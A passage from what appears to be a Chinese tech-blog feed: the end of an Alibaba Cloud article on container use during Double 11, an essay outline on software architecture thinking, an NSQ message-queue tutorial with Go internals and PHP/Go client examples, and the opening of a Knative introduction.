        在技术创新的驱动下,阿里云希望成为云原生最佳的产品实现,继续发挥国内最大规模的云原生应用实践、国内最丰富的云原生产品家族、国内最大的云原生客户群体、国内最全面的云原生开源贡献的优势,服务更广泛的企业客户和开发者。” 

        十一年 双11 的云化架构演进与升级,造就容器技术最好的创新土壤

        “阿里云与其他云厂商最大的不同,就是阿里巴巴的核心业务运行在云上,形成最好的创新土壤,也就是说我们最先进的技术,首先会在阿里巴巴自己的业务体系中进行尝试,得到了大规模的运用,证明其技术的普适性与价值后再开放给客户。”

        在谈及阿里云容器化进展时,叔同强调:任何技术都会在阿里巴巴自己的业务体系中得到尝试与应用, 2011 年阿里云开始迈进容器大门,2013 年 Docker 问世,阿里云容器迅速融合其先进理念,并在 2015 年推进集团业务全面的容器化演进,而这一系列的发展与演进其实都离不开 双11 大促的需求,例如全面容器化帮助 双11 大促实现快速弹性扩容。

        在 双11 活动的历练中,数以百万的容器支撑着 双11 活动顺利进行。由于业务的超大规模使得其复杂程度非常高,这也为容器技术带来了更大的挑战。例如在容器镜像分发过程中,一次发布分发几万个镜像,这样巨大的流量是一个不小的挑战。为实现效率的极致要求,阿里云利用 P2P 技术,实现大规模大批量的快速分发,实现 10 秒内完成跨机房镜像下载容器启动。

        容器技术对于 双11 的显著影响还包括在具体的混部技术实施中,叔同表示通过混部技术,阿里巴巴集团范围内能够节省 30% 左右的 IT 成本支出,能够在 双11 这个特殊时间段里,将每万笔交易成本下降超过 75%。

        容器、微服务、人工智能未来趋势:协作、融合

        容器技术已经获得了业界的广泛认可,在未来的发展前景,不仅取决于其在技术领域的卓越表现,同时也需要与更多的技术相融合,从而成为与时代共同进步的成功产品技术。

        早期 Kubernetes 上主要运行无状态的 Web 应用,比如基于 Apache Dubbo/Spring Cloud 的微服务应用,现在越来越多的企业核心业务、数据智能业务和创新业务也运行在 Kubernetes 之上。以阿里云自身的云产品举例,包括企业级分布式应用服务 EDAS 、实时计算平台 Flink 、弹性 AI 算法服务 EAS 、区块链平台 BaaS 都部署在阿里云 Kubernetes 服务 ACK 之上。

        从应用架构演进来看,容器的发展促进了微服务的发展。微服务在早期落地遇到的大问题是架构拆分导致的运维复杂度和环境不一致,正是通过容器对应用和其运行环境的打包和隔离,很好的解决微服务体系的痛点,让微服务得以快速发展。微服务架构的引入解决了一些问题的同时,入侵了研发框架,框架迭代和研发迭代被耦合,并且在多语言环境的支持不够友好,在管理上也更加复杂。因此社区开始尝试 Service Mesh,逐渐把微服务能力从框架能力下沉为平台能力,可以看到容器与微服务在互相促进。

        “云原生与 AI 是绝佳搭档,两者是相互赋能的。”在提及 AI 与容器的融合时叔同强调。首先 AI 是新兴领域,架构上没有那么多历史包袱,另外 AI  计算本身对弹性、资源效率和部署效率有所要求,容器技术可以解决上述问题。GPU、FPGA、专有的 ASIC 芯片等新架构,带来巨大算力提升的同时也带来管理维护的难度,利用 Kubernetes 提供对异构资源的统一管理和高效调度,提升弹性支持细粒度共享,可以提升资源利用率 3 到 5 倍。

        AI 对于容器云原生技术同样帮助巨大,AI 往往代表着业务场景,这对于云原生技术如何更为普适通用提供了丰富的验证空间,从而提升了云原生技术的成熟度。

        容器技术出现已经超过 6 年,Kubernetes 的快速发展已不是新闻,但这并不意味着容器技术的生态系统已经发展平缓。相反的是,容器及其周边的技术体系还在保持高速发展。

        谈及未来关注的新技术、新方向,叔同坦承要让容器走到所有的环境中,不仅是传统 IDC,更要走到公共云、专有云、边缘节点、物联网、大数据、AI 等各种场景中,希望运用云原生技术降低云计算的使用门槛,真正实现云上拐点。

        点击下载《不一样的 双11 技术:阿里巴巴经济体云原生实践》
        ban.jpg

        本书亮点

        • 双11 超大规模 K8s 集群实践中,遇到的问题及解决方法详述
        • 云原生化最佳组合:Kubernetes+容器+神龙,实现核心系统 100% 上云的技术细节
        • 双 11 Service Mesh 超大规模落地解决方案

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        架构之道—Thinking In Architecture 连载 Fri, 02 May 2025 09:39:04 +0800 年初的三个FLAG已经完成了两个:[聊聊面向服务的架构][元数据驱动的SAAS架构],这是最后一个FLAG,本来打算业务建模的内容,但是列完提纲后,感觉意犹未尽,还是觉的把自己最想写的内容以完整且成体系化的方式呈现出来,所以就有了一个完整系列的提纲,内容比较多,不知道何时码完,但是必须把FLAG立出来,作为一个督促,提纲和整体思路也有一两年的历史了,也不能等了,打算以连载的方式慢慢攒吧,希望看官勿怪。

        在这个快速奔跑,快节奏的年代,大家倾向于快餐式的汲取营养,喜欢小而短,没人愿意花时间看长文,为啥还要长篇大论,本系列不是提供离散的几个知识点或者几个特定场景的解题思路,而是试图建立一种体系化的架构师知识体系和思维体系,便于愿意深入思考的同道人进行交流碰撞,不会让大家失望和浪费时间。但是如果亲连引子认真看完的时间都没有,或者看完引子没有感觉,就不建议阅读了,免得浪费亲的时间,如果觉得有那么点意思,可以在评论区谈些想法或者点个赞,以便我获得相应反馈,并及时更新。。

        目录

        引子Prologue

        一、如何认识客观世界—本体、逻辑与系统 @ToDo

        二、认识与解构业务之建模—九宫格与价值流 @ToDo

        三、业务建模之实体建模—亚里士多德 @ToDo

        四、业务建模之业务对象—老子与爱因斯坦 @ToDo

        五、业务建模之业务流程—抉择与颗粒度 @ToDo

        六、业务建模之决策与规则— 一变应万变 @ToDo

        七、回头看架构—架构起源 @ToDo

        八、TOGAF与元模型(Metamodel) @ToDo

        九、TOGAF之架构设计 @ToDo

        十、系统架构之应用架构—乐高LEGO Blocks @ToDo

        十一、系统架构之数据架构—关系与对象 @ToDo

        十二、服务化架构—业务的本源 @ToDo

        十三、我所理解的DDD—没有银弹(No Silver Bullet) @ToDo

        十四、微服务与DDD @ToDo

        十五、元数据驱动的SAAS架构

        十六、架构之外—Object Oriented,我们真的理解面向对象了吗? @ToDo

        十七、架构之外—一专多能,深度决定高度,广度决定圈子 @ToDo

        十八、架构之外—Scrum敏捷开发与项目管理 @ToDo

        十九、如何成为更好的自己?我的思考— 未来真正稀缺的是具有成长心态且能有体系化独立思考的跨域人才

        二十、我的反思

        后记Epilogue—敢问路在何方?

         

        引子 Prolog

         

        He who cannot draw on three thousand years is living from hand to mouth.

        — GOETHE

         

        The soul of man can never be enslaved

        Save by its own infirmities

        nor freed

        Save by its very strength and own resolve

        And constant vision and supreme endeavor!

        — Francois Fenelon

        Keep your eyes on the stars, and your feet on the ground.

        — Theodore Roosevelt

        致虚极,守静笃。万物并作,吾以观复。夫物芸芸,各复归其根。

        — 老子

        Education is not the learning of facts, but the training of the mind to think

        — Albert Einstein

         

        “你未来3-5年想要做什么,你想在聚焦在哪一个方向做深做透,技术、架构抑或业务解决方案方向,你想要成为一个什么样的人?”,这是过去几年内我最爱追问自己和曾经团队技术小伙伴的同一个问题。但这个问题从来没有如此强烈的迫切感,直到我决定给儿子进行英语启蒙的那个小学三年级前的那个暑假。“到底我想引导我的孩子成为什么样的人,具有什么样的Character or Quality呢?”,面对孩子,这个问题异常严肃且现实,从那时起一直让我诚惶诚恐,忐忑不安,尽最大努力尝试去寻找时间缝隙去阅读中外文经史哲,从我们老祖宗的“内用黄老,外示儒术”到康德的Starry Night,罗斯福的“仰望星空,脚踏实地”,再到YouTube美国脑科与教育专家的Lecture,虽然不可能有明确的答案,但是收到的感悟越来越多,方向越来越收敛,逐渐变的清晰明确。

        我记得在第一次百阿培训时候的天使送给了我一本原版书Everything I Never Told You(无言的告白),故事从一个小姑娘的失踪,死亡开始,情节非常压抑,整个阅读过程非常阴郁,硬着头皮读完,感觉像从一场抑郁症中恢复过来一样的,我原来只把它当成一个表述美国种族、身份认同、男女不平等和家庭危机的一个呐喊。但是书的cover上一句话一直萦绕于怀:All our life, we are about to get rid of the expectations of others to find the true self。

        我们终此一生,就是要摆脱他人的期待,找到真正的自我。或许我们自己没办法做到,但是应该引导孩子拥有这样的机会,拥有选择的权利。我们是选择给予还是引导呢?给于他金钱,训练他的技能,教他阅读,教他一口流利的英文,数学技巧,写作技巧,考一个高的分数,还是引导他走一个不同的路呢?如果是引导,那么如何引导?

        我们先来看下欧美的教育理念,当然欧美的教育未必是最优的,但是就像黑格尔的辩证法中的正、反、合(thesis,antithesis,synthesis)思想提倡的一样,即便是相反的东西也一定是可以借鉴的,融合的,可以取长补短的,形成更优的更先进的东西。欧美提倡三个核心的教育理念:

        1. Reading Comprehension :解码文字,微言大义,理解吸收观点并融合已知
        2. Critical Thinking:批判式思维
        3. Problem Solving:解决问题

        个人理解本质上和阳明先生的”知行合一“有共通之处,Reading Comprehension 和Critical Thinking 在”知“中,Problem Solving在”行“内,知行统一,相互交融,相辅相成,我们在Reading Comprehension中吸收的内容丰富了我们的知识结构和系统,为Critical Thinking提供了理论或者事实参考,Critical Thinking为Problem Solving提供决策或者行动的内在逻辑和辩证分析判断,反过来呢,Problem Solving行动中的经验和教训既为Reading Comprehension 内容吸收提供体感,也为Critical Thinking提供了实践参考。

        三个理念循环往复,相互促进,最终带给孩子最重要的东西是什么呢?亦或是什么品质,什么能力呢?

        精炼一下,我想我目前能得到答案是,塑造和锻炼孩子的一个核心能力:独立思考。另外一个宝贵的获得:成长心态(growth mindset),也极其重要,是不断突破个人天花板的极其宝贵的品质,暂先按下不表。

        只有独立思考,才能不人云亦云,不上下盲从,在变化中寻找并分离不变,拥有笃定的研判,方能不随波逐流,不会落入乌合之众的陷阱,最终才能有选择的自由,找到真正的自我,独立的战略以及战术定力。

        话题转回来,回到我们技术同学本身,我们来回顾下技术的世界:

        • 作为一个业务架构师,对业务进行建模的时候,是一上来就跳到解决方案域(Solution Domain)或者更具体技术实现上,抓住业务场景的用例进行自行抽象,忙着区分名词、动词和形容词等等进行用例语法分析,快速创造出快餐式的实体模型或者对象模型?还是围着着问题域(Problem Domain),仔细思考、追溯并判断这些业务场景的源头是什么,隐含的业务问题到底是哪些,对应的业务本质是什么,从而基于业务场景和用例先对问题进行建模,把问题定义清楚呢?例如,无论零售业务的花样如何多变,消费的本质上还是人、货、场,基于此来分析这些业务场景到底隐含了那些问题,从人的角度,从货的角度,从场的角度等等;对供应链业务来说,这些业务场景背后要解决降本提效的问题,还是快速和商家协同通过新制造,快速C2B反向定制,创建新的销售机会呢?这些业务场景或者需求和供应链的核心指标之周转和缺货有直接关联吗?如果没有,那间接关系是什么?另外是否可以不要局限于你是开发、架构、产品抑或业务,跳出来从更宏大的角度来思考,一个商业抑或业务也是一个系统,从系统动力学的角度来看,系统最根本的目的就是生存和发展,是活下去还是要活的更好,对业务场景的思考和处理方式也不一样。抑或是否从九宫格的商业画布来延展开来思考呢?不要给自己设限,你的圈子、工作内容或者你的影响力也许有限制,但是没有人限制你的思考,也没有人能阻止了你的思考,作为技术同学,不要只把自己限制在技术领域,没有人限制你思考产品,思考业务,甚至思考商业逻辑,其实现实是你必须思考产品,思考业务,思考商业,你才能突破自己的天花板,只是你以为天花板是你的老板给设的,业务给限制的,组织给设定的,其实没有想到是自己给自己设的,我自己在一直在反思,我想我们大多数人都应该做到能独立思考,才能好好反思,释放出我们的growth mindset,把压在自己头顶的太多并不存在的Assumption去掉,为自己打开空间。
        • 作为一个应用架构或者技术架构师,快速学习业界新的技术和框架是我们的本分,我们通常热衷于追逐各种新的技术潮流,新的技术,新的框架,特别是新的技术名词,那我们有没有想到技术的发展,架构的演进本质上同自然科学与社会科学的演进过程异曲同工,其不断演进的发展过程,尤其内在的严密的发展逻辑,即便是跳跃式的发展,必然有其长期的沉淀过程和矛盾不断积攒和逐渐激化才能爆发的过程,遵循着黑格尔的正反合不断演化发展的辩证法,比如我们现在AI的技术的爆发(个人认为目前还是一个Spike)其实很多核心理论的积累都是来源上世纪中后期,只不过当前基础算力和网络等基础设施的快速演进,结合当前互联网应用场景,提供了大量应用的空间。所以我们回头来看我们技术和应用架构设计,到底我们的架构设计是根植于我们对业务本质的生存和发展的理解而产生的对技术和应用架构的要求的深度思考、对于架构变与不变的归纳演绎抽象,以及我们对于技术、架构演进规律的研判,还是各种新潮技术、新潮框架和新潮名词的仓促堆叠?我想我们的内心深处会有一个清晰的判断。如果你是前者,请接收我的膝盖和膜拜,如果你是后者,当然你得直面内心,愿意认识到,那我想你需要从现在再开始考虑我有没有独立思考的能力,或者支撑我的独立思考的到底是什么?因为这个是一个本质的问题:如果你是一个架构师,它存在于你对架构的思考和设计上;如果你是一个TL,那同样存在对于人的判断,对人的敏感的过程中,以及如何进行排兵布阵,如何激发团队的每个人成为更好的自己的行动上;如果你是个项目经理,那它同样存在于包括设定项目范围,组建队伍,指定项目计划,掌控关键路径,识别风险,管理风险,管理交付,管理客户预期,以及果断决策的过程的方方面面。
        • 作为一个开发同学(当然每个人都可以一专多能,原谅我分的这么细),我们每天使用Java面向对象的语言进行设计和开发,我们每天都在创建对象,添加对象属性,生成对象方法,用提炼接口来显示我们抽象能力,来满足业务日益增长的需求,当前主要矛盾变成了人民日益增长的业务产品需要同操蛋的面向对象(Ye Mian)开发生产效率之间的矛盾。但是我们码了那么多代码,创建了无数的对象类,但是有没有真正想过面向对象的中对象到底是什么含义?你的每一个Object这个Concept到底怎么来的呢?每个属性对这个对象到底意味着什么,对对象之外又意味着什么呢?对象的行为对于对象意味着什么?对象的行为来源哪里?行为和对象的属性之间有什么关联?很多对象都是一个系统,从系统理论来讲,系统的结构决定它的系统行为,这是不是对象属性和行为的一个可能的解释呢?我们通过面向对象系统搭建了各种应用,应用又组成了系统,根据系统理论,系统大于部分之和,那么我们怎么看待各域应用和整体端到端系统之间的关系呢?又给我们带来系统设计上的什么启发呢?技术同学中其中有一种小众现象,虽不普遍,但饶有趣,成长靠晋升,晋升靠系统重构,系统重构必谈DDD,DDD风行的程度搜下ATA就可见一斑,曾见过一个现象,从低到高起人人必谈DDD,有一种全民皆DDD的倾向,你不谈DDD好像就代表你抽象建模能力不够一样的,甚是奇怪。当然我并没有声讨DDD,也不是说DDD本身有多大的问题,而是你要把DDD本质是什么想清楚,构建自己的逻辑思考体系,然后再把它当成一种思想,一种框架,或者一种设计风格来应用,设计开发系统从来就没有银弹,DDD同样不是银弹。同时感觉在真正的DDD应用中,个人认为并没有把主要的精力放在对业务本质的抽象上,深挖业务对象的来源和本质,建立具有统一业务语义的域模型包括术语和词汇,更多的精力放在纠结在是不是贫血或者充血,领域服务怎么理解以及怎么做啊,防腐层放在哪,领域层、应用层怎么划分边界啊,对DDD中的层次划分讨论乐此不彼。

        上面是既是对观察到的个别现象的剖析,也是对自我的剖析,因为自己曾经”不识庐山真面目,只缘身在此山中“。

        重新回到到我们的设计开发过程中来,作为程序猿,我们之前曾经自己给自己开一个玩笑说天下代码一大抄,写代码基本靠借鉴(拷贝粘贴),虽然是玩笑话,但是其中的自嘲意思大家都秒懂。天下武功唯破不快,大家都喜欢直奔主题,先解决问题,看了各种JDK,Spring等框架源码主要是为了应用(模仿)搞定问题,在这样的快节奏里面,缺少去读懂去琢磨透的耐心,往往下次遇到相同的情况,并没有领悟其背后的逻辑而举一反三去解决问题,而是再去借鉴一把(抄袭)。

        我们的开发的看家本领—面向对象编程技能,其实有些时候是面向好像编程:这里好像需要增加个对象,其实并没有考虑到这个对象代表什么含义,反应了什么样业务或者设计本源;这里好像需要增加一个接口,就增加一个接口,并没有考虑这个接口的增加对整体服务意味着什么?和其他的接口的关系是什么?接口的增加会不会带来功能的一致性问题以及对数据一致性造成破坏?奥卡姆剃刀原理提到:如无必要,勿增实体,本质上并不是要我们减少实体或者对象,降低复杂度那么简单,而更重要的是要每一件事情的思考、判断以及决策的背后必须要有严密的逻辑支撑,而且这个逻辑起码经得起你自己的推敲,然后再要经得起其他人的推敲。

        同样地,我们好像特别热衷画架构图,画了一遍又一遍,业务架构,应用架构,技术架构等等等等,满足不同的目的,有的是为了向上汇报的,有的是内部沟通的,不一而足。每个架构图的由于重点不一样而有一定的差异可以理解,但是通常情况下,本来是描述一个相同东西,但是每次的架构图有时间大相径庭,之间看不到任何逻辑上的延续性和相关性,有时候反倒是见怪不怪的现象了。我想其背后的原因也很清楚,所谓的架构设计和架构图要么是不合理的现状的拼凑,要么是好像驱动的架构设计,这些部分好像这样分层看上去合理,或者好像这么分层比较流行哎。这些架构设计必然没有基于体系化的去思考,也就没有成套的方法论去设计和验证,就必然不会有经得起推敲的逻辑。

        老子曰:道生一,一生二,二生三,三生万物,里面的道理无穷,道可道,非常道,然而我们从其中却依然领悟到一个对我们具有实际启发意义的方面,称之为:道、法、术、器、势。

        周易曰:”形而上者谓之道,形而下者谓之器“,我们先来看器和术。器,顾名思义,就是工具,暨”工欲善其事,必先利其器“提到的器,用以提高效率:具体到我们的软件开发过程中,器就是我们开发用的IDE,系统搭建过程需要用到的数据库,中间件以及各种容器;具体到我们架构设计过程中,器就是我们进行业务建模以及设计架构图等过程中用的各种工具软件等。术,指的具体的技能或者技术,我们掌握的面向对象设计和编程技术可称之为术,SQL技能也可称为术,UML各种绘图能力,ER绘图能力也称为术。

        道和法,道为体,法为用,互为一体,是为核心,最为重要。单独讲道和法的理解比较干巴巴,也比较枯燥,我们先从文化来类比,可能更有体感。

        西方文化是天主教、基督教的天下,摩西出埃及,建立《摩西十诫》,西方文化以宗教为本,摩西十诫是宗教的戒律,依此,摩西十诫作为西方文化的基础,一直影响着整个西方文化,注重契约精神,推崇契约行为,契约行为构成了西方的宗教行为、法律行为、民主行为。由此可见,西方文化的是宗教,是摩西十诫,是契约精神,契约行为。

        中华文化则不同,先秦诸子百家,春秋战国百家争鸣,比同时期的古希腊文明更为自由,更为开放,虽然大家方式不尽相同。中华文化秦汉之前,儒、墨、道主导了全部的文化,唐宋以后,随着佛教的兴盛,变成了儒、释、道共同主导。所以中华文化的是儒、释、道,则根植于”内用黄老、外示儒术“思想,是”修身齐家治国平天下“,是”君子之行,静以修身,俭以养德“,是王阳明的”知行合一“,是曾国藩的“屡败屡战,愈挫愈勇”。

        架构的核心在于如何认识业务,如何客观且动态发展的看待业务,本质上根植于我们如何认识客观世界,如何借助逻辑的力量,如何认识系统,如何系统思考。架构的则是基于架构的道,如何构建一套体系化的架构方法论来使我们的架构师们,架之有道,构之有理,每一个架构设计,架构升级都有一套行之有效的方法论来支撑,其方法论背后都有一套严谨且经得起推敲的逻辑。架构当然不是”自古华山一条路“,依然可以百家争鸣,百花齐放,只要你的架构之道和架构之法一脉相承,言之有理,理之有据,自成方圆,必然自信坦荡,广结善缘。

        狄更斯说:”这是一个最好的时代,这是一个最坏的时代 “,一方面随着技术的日新月异,我们获取信息的途径和便捷度越来便捷,能接触的信息越来越丰富,越来越多元,单另一方面信息的急剧膨胀和技术更新迭代的加速,各种名词、概念、框架、流派层出不穷,观点各异,视角愈发多元,我们快速从信息闭塞过度到信息膨胀焦虑,面对巨量多元的信息不知道怎么选择,怎么吸收,怎么融合。在信息膨胀焦虑和快节奏衍生出的对耐心容忍度极低的浮躁中,能做到不盲从的独立思考尤为不易,但是独立思考不是空中楼阁,不是完全依据直觉的主观思考与判断,而是根植于丰富的知识体系的培育以及基于哲学思辨精神上的逻辑思维的养成,然后通过体系化思考方法论的储备融合达成。

         

         

         

         

        ]]>
        nsq 优秀的消息队列 Fri, 02 May 2025 09:39:04 +0800 简介

        NSQ是Go语言编写的,开源的分布式消息队列中间件,其设计的目的是用来大规模地处理每天数以十亿计级别的消息。NSQ 具有分布式和去中心化拓扑结构,该结构具有无单点故障、故障容错、高可用性以及能够保证消息的可靠传递的特征,是一个成熟的、已在大规模生成环境下应用的产品。

        NSQ在国内公司用的很少,在使用当中愈发的觉得惊喜,比如他的简单易用、部署快捷,再比如之前比较困扰的 延时定时消息,发现nsq 也支持,官方文档比较全,咨询问题时回复也非常的耐心和即时,所以我觉得有必要发布一篇文章来介绍下nsq,惠及大众。

        nsq 有三个必要的组建nsqd、nsqlookupd、nsqadmin 其中nsqd 和 nsqlookup是必须部署的 下面我们一一介绍。

        nsqd :

        负责接收消息,存储队列和将消息发送给客户端,nsqd 可以多机器部署,当你使用客户端向一个topic发送消息时,可以配置多个nsqd地址,消息会随机的分配到各个nsqd上,nsqd优先把消息存储到内存channel中,当内存channel满了之后,则把消息写到磁盘文件中。他监听了两个tcp端口,一个用来服务客户端,一个用来提供http的接口 ,nsqd 启动时置顶下nsqlookupd地址即可:

        nsqd –lookupd-tcp-address=127.0.0.1:4160

        也可以指定端口 与数据目录

        nsqd –lookupd-tcp-address=127.0.0.1:4160 --broadcast-address=127.0.0.1 -tcp-address=127.0.0.1:4154 -http-address=”0.0.0.0:4155″ –data-path=/data/nsqdata

        其他配置项可详见官网

        nsqlookupd
        主要负责服务发现 负责nsqd的心跳、状态监测,给客户端、nsqadmin提供nsqd地址与状态

        nsqadmin:
        nsqadmin是一个web管理界面 启动方式如下:

        nsqadmin –lookupd-http-address=127.0.0.1:4161

        nsq_admin_1_

        channel详情页示例图如下 ,empty可以清空当前channel的信息,delete删除当前channel, pause是暂停消息消费。

        图中也有几个比较重要的参数 depth当前的积压量,in-flight代表已经投递还未消费掉的消息,deferred是未消费的定时(延时)消息数,ready count比较重要,go的客户端是通过设置max-in-flight 除以客户端连接数得到的,代表一次推给客户端多少条消息,或者客户端准备一次性接受多少条消息,谨慎设置其值,因为可能造成服务器压力,如果消费能力比较弱,rdy建议设置的低一点比如3

        _1

        Topic 和 Channel

        其实nsqd相当于kafka当中的分区,channel和consumers客户端的多个连接 相当于kafka的消费组,但nsq比kafka使用方式便捷概念上更容易理解
        抛开与kafka的对比,nsq的topic 可以设置多个channel,因为有可能有多个业务方需要定值topic的消息,这样互不影响,
        当然一个消息会发送topic下的所有channel,然后会分配到不同客户端的连接上,如下图。
        d46fdce8_9032_4921_8b9f_c83b8fc87af8

        这篇文章主要介绍nsq的使用,源码就不展开讲,如果有兴趣的同学多的话 过几天我会再开一篇专门叙述nsq的源码与分析。

        这里提下延时消息:

        nsq支持延时消息的投递,比如我想这条消息5分钟之后才被投递出去被客户端消费,较于普通的消息投递,多了个毫秒数,默认支持最大的毫秒数为3600000毫秒也就是60分钟,不过这个值可以在nsqd 启动的时候 用 -max-req-timeout参数修改最大值。

        延时消息可用于以下场景,比如一个订单超过30分钟未付款,修改其状态 或者给客户发短信提醒,比如之前看到的滴滴打车订单完成后 一定时间内未评价的可以未其设置默认值,再比如用户的积分过期,等等场景避免了全表扫描,异步处理,kafka不支持延时消息的投递,目前知道支持的有rabbitmq rocketmq,但是rabbitmq 有坑,有可能会超时投递,而rocketmq只有阿里云付费版支持的比较好。

        nsq延时消息的实现是用最小堆算法完成,作者继承实现heap的一系类接口,专门写了一个pqueque最小堆的优先队列,在internal/pequeque 目录可以看到相关实现,pub的时候如果chanMsg.deferred != 0则会调用channel.PutMessageDeferred方法,最终会调用继承了go heap接口的pqueque.push方法

        延时消息的处理 和普通消息一样都是 nsqd/protocol_v2.go下messagePump 中把消息发送给客户端 然后在queueScanWorker中分别处理,pop是peekAndShift方法中,拿当前时间 和 deferred[0]对比如果大于 就弹出发送给客户端 如下代码:

        func (n *NSQD) queueScanWorker(workCh chan *Channel, responseCh chan bool, closeCh chan int) {
            for {
                select {
                case c := <-workCh:
                    now := time.Now().UnixNano()
                    dirty := false
                    if c.processInFlightQueue(now) {
                        dirty = true
                    }
                    if c.processDeferredQueue(now) {
                        dirty = true
                    }
                    responseCh <- dirty
                case <-closeCh:
                    return
                }
            }
        }
        
        func (c *Channel) processDeferredQueue(t int64) bool {
            c.exitMutex.RLock()
            defer c.exitMutex.RUnlock()
        
            if c.Exiting() {
                return false
            }
        
            dirty := false
            for {
                c.deferredMutex.Lock()
                item, _ := c.deferredPQ.PeekAndShift(t)
                c.deferredMutex.Unlock()
        
                if item == nil {
                    goto exit
                }
                dirty = true
        
                msg := item.Value.(*Message)
                _, err := c.popDeferredMessage(msg.ID)
                if err != nil {
                    goto exit
                }
                c.put(msg)
            }
        
        exit:
            return dirty
        }
        
        func (pq *PriorityQueue) PeekAndShift(max int64) (*Item, int64) {
            if pq.Len() == 0 {
                return nil, 0
            }
        
            item := (*pq)[0]
            if item.Priority > max {
                return nil, item.Priority - max
            }
            heap.Remove(pq, 0)
        
            return item, 0
        }

        php和go的客户端的使用

        官网客户端链接:Client Libraries php客户端之前官网有一个5年前比较老的客户端,已经没人维护 甚至无法运行,于是我贡献了一个php72扩展版本 php-nsq,速度块了近三倍,正在逐步完善,支持各种配置与特性,目前已被官网收纳,简单介绍下使用 顺便求下star

        php-nsq pub :

        $nsqd_addr = array(
            "127.0.0.1:4150",
            "127.0.0.1:4154"
        );
        
        $nsq = new Nsq();
        $is_true = $nsq->connect_nsqd($nsqd_addr);
        for($i = 0; $i < 20; $i++){
            $nsq->publish("test", "nihao");
        }

        php-nsq 延时pub :

        参数 仅仅多一个毫秒参数,so easy!

        $deferred = new Nsq();
        $isTrue = $deferred->connectNsqd($nsqdAddr);
        for($i = 0; $i < 20; $i++){
            $deferred->deferredPublish("test", "message daly", 3000); // 第三值默认范围 millisecond default : [0 < millisecond < 3600000] ,可以更改 上面已提到
        }

        php-nsq sub :

        抛异常消息可以自动重试,重试时间可以有retry_delay_time设定,多少时间后再次接收被重试的消息

        $nsq_lookupd = new NsqLookupd("127.0.0.1:4161"); //the nsqlookupd tcp addr
        $nsq = new Nsq();
        $config = array(
            "topic" => "test",
            "channel" => "struggle",
            "rdy" => 2,                //optional , default 1
            "connect_num" => 1,        //optional , default 1
            "retry_delay_time" => 5000,  //optional, default 0 , after 5000 msec, message will be retried
        );
        
        $nsq->subscribe($nsq_lookupd, $config, function($msg){
        
            echo $msg->payload;
            echo $msg->attempts;
            echo $msg->message_id;
            echo $msg->timestamp;
        
        });

        go client pub

        package main
        
        import (
                "github.com/nsqio/go-nsq"
               )
        
        var producer *nsq.Producer
        
        func main() {
            nsqd := "127.0.0.1:4150"
            producer, err := nsq.NewProducer(nsqd, nsq.NewConfig())
            producer.Publish("test", []byte("nihao"))
            if err != nil {
                panic(err)
            }
        }

        go client sub

        package main
        
        import (
         "fmt"
         "sync"
         "github.com/nsqio/go-nsq"
        )
        type NSQHandler struct {
        }
        
        func (this *NSQHandler) HandleMessage(msg *nsq.Message) error {
            fmt.Println("receive", msg.NSQDAddress, "message:", string(msg.Body))
            return nil
        }
        
        func testNSQ() {
            waiter := sync.WaitGroup{}
            waiter.Add(1)
        
            go func() {
                defer waiter.Done()
                config:=nsq.NewConfig()
                config.MaxInFlight=9
        
            //建立多个连接
            for i := 0; i<10; i++ {
                consumer, err := nsq.NewConsumer("test", "struggle", config)
                if nil != err {
                    fmt.Println("err", err)
                    return
                }
        
                consumer.AddHandler(&NSQHandler{})
                err = consumer.ConnectToNSQD("127.0.0.1:4150")
                if nil != err {
                    fmt.Println("err", err)
                    return
                }
            }
                select{}
        
            }()
        
            waiter.Wait()
        }
        func main() {
                testNSQ();
        
        }
        ]]>
        初识 Knative: 跨平台的 Serverless 编排框架 Fri, 02 May 2025 09:39:04 +0800 本文选自《Knative 云原生应用开发指南》
        knative海报.png

        Knative 是什么

        Knative 是 Google 在 2018 的 Google Cloud Next 大会上发布的一款基于 Kubernetes 的 Serverless 框架。Knative 一个很重要的目标就是制定云原生、跨平台的 Serverless 编排标准。Knative 是通过整合容器构建(或者函数)、工作负载管理(和动态扩缩)以及事件模型这三者来实现的这一 Serverless 标准。Knative 社区的主要贡献者有 Google、Pivotal、IBM、Red Hat。可见其阵容强大, CloudFoundry、OpenShift 这些 PAAS 提供商都在积极的参与 Knative 的建设。

        Knative 出现的背景

        在 Knative 之前社区已经有很多 Serverless 解决方案,如下所示这些:

        • kubeless
        • Fission
        • OpenFaaS
        • Apache OpenWhisk
        • ...

        除了上面这些社区的开源解决方案以外各大云厂商也都有各自的 FAAS 产品的实现比如:

        • AWS Lambda
        • Google Cloud Functions
        • Microsoft Azure Functions
        • 阿里云的函数计算

        业务代码部署到 Serverless 平台上就离不开源码的编译、部署和事件的管理。然而无论是开源的解决方案还是各公有云的 FAAS 产品大家的实现方式大家都各不相同,缺乏统一的标准导致市场呈现碎片化。因此无论选择哪一个方案都面临供应商绑定的风险。

        没有统一的标准、市场的碎片化这对云厂商来说用户 Serverless 上云就比较困难,对于 PAAS 提供商来说很难做一个通用的 PAAS 平台给用户使用。基于这样的背景 Google 牵头联合 Pivotal、IBM、Red Hat 等发起了 Knative 项目。

        我们看一下在 Knative 体系下各个角色的协作关系:

        1.png

        • Developers

          Serverless 服务的开发人员可以直接使用原生的 Kubernetes API 基于 Knative 部署 Serverless 服务
        • Contributors

          主要是指社区的贡献者
        • Operators

          Knative 可以被集成到任何支持的环境中,比如:云厂商、或者企业内部。目前 Knative 是基于 Kubernetes 来实现的,有 Kubernetes 的地方就可以部署 Knative
        • Users

          终端用户通过 Istio 网关访问服务,或者通过事件系统触发 Knative 中的 Serverless 服务

        核心组件

        Knative 主要由 Serving 和 Eventing 核心组件构成。除此之外使用 Tekton 作为CI/CD构建工具。下面让我们来分别介绍一下这三个核心组件。

        Serving

        Knative 作为 Severless 框架最终是用来提供服务的, 那么 Knative Serving 应运而生。

        Knative Serving 构建于 Kubernetes 和 Istio 之上,为  Serverless 应用提供部署和服务支持。其特性如下:

        • 快速部署 Serverless 容器
        • 支持自动扩缩容和缩到 0 实例
        • 基于 Istio 组件,提供路由和网络编程
        • 支持部署快照

        Knative Serving 中定义了以下 CRD 资源:

        • Service: 自动管理工作负载整个生命周期。负责创建 Route、Configuration 以及 Revision 资源。通过 Service 可以指定路由流量使用最新的 Revision 还是固定的 Revision
        • Route:负责映射网络端点到一个或多个 Revision。可以通过多种方式管理流量。包括灰度流量和重命名路由
